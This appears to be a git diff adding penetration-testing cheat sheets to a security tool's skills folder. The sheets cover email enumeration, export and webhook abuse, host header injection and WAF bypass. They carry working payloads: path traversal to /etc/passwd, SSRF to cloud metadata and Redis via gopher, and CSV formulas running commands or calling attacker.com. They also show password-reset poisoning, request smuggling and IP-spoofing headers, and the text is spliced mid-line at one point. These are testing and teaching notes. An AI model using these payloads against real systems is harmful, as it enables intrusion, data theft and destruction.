as different accounts +``` + +## Email Enumeration +``` +# Different response for registered vs unregistered email +POST /forgot-password +email=test@test.com → "Email not found" +email=admin@target.com → "Email sent" + +# Timing-based enumeration: +# Registered email → slower (DB lookup + email send) +# Unregistered → faster (early return) + +# Registration endpoint: +POST /register +email=admin@target.com → "Email already registered" +email=notexist@x.com → "Registration successful" +``` + +## Subdomain Email Bypass +``` +# Some apps verify email domain ownership +# Use subdomain trick: attacker@target.com.evil.com +# May be confused with target.com by naive validators + +# Email regex bypass: +admin@target.com" +"attacker@evil.com"@target.com (quoted local part) +attacker+@target.com@attacker.com +``` + +## Email as Oracle +``` +# Test account existence via password reset timing/message +# Use email to enumerate users (different messages) +# Check error messages for enumeration +``` + +## Email Bombing / DoS +``` +# If no rate limit on email sending: +# Trigger many reset emails to victim → inbox flood +# Cause legitimate reset emails to be missed +# Check rate limit on: forgot-password, resend-verification, contact forms +``` + +## Spoofing / SPF/DKIM Bypass (for social engineering context) +``` +# Check SPF record: +dig TXT target.com | grep spf + +# Check DMARC: +dig TXT _dmarc.target.com + +# Missing/misconfigured SPF/DMARC → can spoof @target.com sender +# Report as missing email security controls +``` + +## Testing Methodology +1. Test all email input fields for header injection (CRLF + extra headers) +2. Check email verification enforcement on sensitive actions +3. Test pre-account takeover scenario +4. Test email enumeration via error messages and timing +5. Test email case sensitivity and plus-addressing +6. Check rate limiting on email-sending endpoints +7. Test email token predictability +8. Verify SPF/DMARC configuration diff --git a/strix/skills/vulnerabilities/functions_testing.md b/strix/skills/vulnerabilities/functions_testing.md new file mode 100644 index 00000000..6438aa6e --- /dev/null +++ b/strix/skills/vulnerabilities/functions_testing.md @@ -0,0 +1,153 @@ +# Application Functions Security Testing + +## Overview +Security testing of specific application functionalities: file operations, export features, payment flows, notifications, and more. + +## File Upload Testing +``` +# See insecure_file_uploads.md for full coverage +# Quick checklist: +# - Upload PHP/ASP/JSP with image extension +# - Magic bytes bypass +# - Path traversal in filename +# - XML/SVG with XXE +# - ZIP slip attacks +``` + +## File Download / Export +``` +# Path traversal in download +GET /download?file=report.pdf → /download?file=../../etc/passwd +GET /export?path=data.csv → /export?path=/var/www/config.php + +# SSRF via URL-based download +POST /download-url +{"url": "https://attacker.com/file.pdf"} → SSRF +{"url": "file:///etc/passwd"} +{"url": "http://169.254.169.254/"} + +# Insecure Direct Object Reference in downloads +GET /download?id=1234 → change id to access other users' files + +# CSV/Excel injection +# If user data exported to CSV/Excel: +Malicious data: =cmd|'/c calc'!A0 ++HYPERLINK("http://attacker.com","click") +@SUM(1+1)*cmd|' /c calc'!A0 + +# PDF generation injection +# See ssrf.md for SSRF via PDF generation +``` + +## Search Functionality +``` +# SQL injection in search +# XSS in search results +# ReDoS (Regular Expression DoS) +# Regex: (a+)+ with input: aaaaaaaaaaaaaaaaaaaaaaaaaaaa! + +# Search result information disclosure +# Can search return admin users, other users' data? +# Wildcard search: * or % to return everything + +# NoSQL injection in search +{"$where": "this.username == 'admin'"} +{"search": {"$regex": ".*"}} +``` + +## Notification / Email Functions +``` +# HTML injection in email notifications +# XSS if notifications rendered in webview +# SSRF via image URL in notifications + +# Email header injection (see email_attacks.md) +# Template injection in email templates (see ssti.md) + +# Notification endpoint IDOR +# Can you trigger notifications for other users? +PUT /api/notifications/settings/victim_id +``` + +## Payment / E-commerce Functions +``` +# Price manipulation +# Negative quantity: quantity=-1 → refund? +# Zero price: price=0.00 +# Price in request body (not server-side validated) +{"price": 0.01, "quantity": 1, "total": 0.01} # bypass total validation + +# Currency/locale attacks +# Price in EUR vs USD vs BTC +# Comma vs period decimal separator +price=1,00 (European: 1.00) vs price=100 (American: 100) + +# Coupon abuse +# Apply same coupon multiple times +# Race condition on coupon redemption +# Negative coupon value + +# Order manipulation +# Change order status: pending → completed +# Modify order items after payment +# IDOR: access/modify other orders + +# Payment flow bypass +# Skip payment step, go directly to order confirmation +# Replay old successful payment token +``` + +## Admin / Debug Functions +``` +# Admin panel discovery +/admin, /administrator, /backend, /manage, /dashboard, /console +/debug, /test, /dev, /staging, /_admin, /system + +# Debug parameters +?debug=true, ?test=1, ?dev=1, ?verbose=1 +?trace=true, ?profiler=true + +# Exposed development endpoints +/phpinfo.php, /info.php, /.git/, /.env +/config.php.bak, /web.config.bak, /backup/ +``` + +## Import / Bulk Operations +``` +# Bulk operations IDOR +# Import CSV: can you import records for other accounts? +# Bulk delete: delete IDs you don't own +# Bulk update: mass update other users' data + +# CSV import injection +# XML import XXE +# JSON/YAML import deserialization +# ZIP file: zip slip attack +``` + +## WebHook / Callback Functions +``` +# SSRF via webhook URL +POST /api/webhooks +{"url": "http://169.254.169.254/latest/meta-data/"} + +# Test if URL is validated +{"url": "file:///etc/passwd"} +{"url": "gopher://127.0.0.1:6379/_FLUSHALL"} # Redis via webhook + +# Webhook content injection +# Can you make webhook send crafted payloads? +# SSRF chained with webhook response +``` + +## Testing Methodology +1. Map all application functions +2. For each function, test: + - Authorization (can other users trigger/access?) + - Input validation (injection, traversal) + - Business logic (price, quantity, flow bypass) + - Information disclosure (what data is returned?) +3. Test export/download for path traversal and SSRF +4. Test payment flows for logic flaws +5. Test search for injection and information disclosure +6. Test webhooks for SSRF diff --git a/strix/skills/vulnerabilities/host_header_injection.md b/strix/skills/vulnerabilities/host_header_injection.md new file mode 100644 index 00000000..a86f6e24 --- /dev/null +++ b/strix/skills/vulnerabilities/host_header_injection.md @@ -0,0 +1,109 @@ +# Host Header Injection + +## Overview +Manipulation of the HTTP Host header to poison caches, redirect password reset links, and achieve SSRF. + +## Attack Vectors + +### Password Reset Poisoning +``` +# Attacker sends request with malicious Host header +POST /forgot-password +Host: attacker.com +Content-Type: application/x-www-form-urlencoded + +email=victim@target.com + +# Server generates: https://attacker.com/reset?token=REAL_TOKEN +# Victim clicks → token sent to attacker +``` + +### Cache Poisoning via Host +``` +# Inject Host to poison cache with malicious content +GET / HTTP/1.1 +Host: target.com +X-Forwarded-Host: attacker.com + +# If response cached and served to others: + + +ipt> +``` + +## Path Traversal WAF Bypass +``` +# Encoding variations +../../../etc/passwd +..%2F..%2F..%2Fetc%2Fpasswd +..%252F..%252F..%252Fetc%252Fpasswd +%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd + +# Double slash +//etc//passwd +....//....//....//etc/passwd + +# Null bytes +../../../etc/passwd%00 +../../../etc/passwd%00.jpg +``` + +## HTTP Header Bypass +``` +# IP spoofing headers (bypass IP-based rules) +X-Forwarded-For: 127.0.0.1 +X-Real-IP: 127.0.0.1 +X-Originating-IP: 127.0.0.1 +X-Remote-IP: 127.0.0.1 +X-Client-IP: 127.0.0.1 +True-Client-IP: 127.0.0.1 +CF-Connecting-IP: 127.0.0.1 + +# Content-Type bypass +Content-Type: application/json → application/x-www-form-urlencoded +Content-Type: text/xml +Content-Type: application/xml + +# Method override +X-HTTP-Method-Override: PUT +X-Method-Override: DELETE +``` + +## Chunked Transfer Bypass +``` +Transfer-Encoding: chunked + +# Split payload across chunks to bypass inspection +POST /login HTTP/1.1 +Transfer-Encoding: chunked + +5 +param +4 +=val +0 +``` + +## Request Smuggling for WAF Bypass +``` +# CL.TE or TE.CL to smuggle past WAF inspection +Content-Length: 78 +Transfer-Encoding: chunked + +0 + +GET /admin HTTP/1.1 +Host: target.com +Content-Length: 10 + +x= +``` + +## JSON/XML Bypass +``` +# JSON variations +{"user": "admin'--"} +{"user":/*comment*/"admin"} + +# XML variations +alert(1)]]> +]> +``` + +## Rate Limit / Volume Bypass +``` +# Distribute requests across IPs +# Slow down request rate +# Use different User-Agents +# Rotate sessions/cookies +# Use CDN/proxy chains +``` + +## Tools +- `wafw00f` — WAF fingerprinting +- `sqlmap --tamper` — tamper scripts for SQLi WAF bypass +- `bypass-firewalls-by-DNS-history` — find real IP behind WAF +- `nuclei -t waf-bypass` — automated bypass testing +- Burp Suite with WAF bypass extensions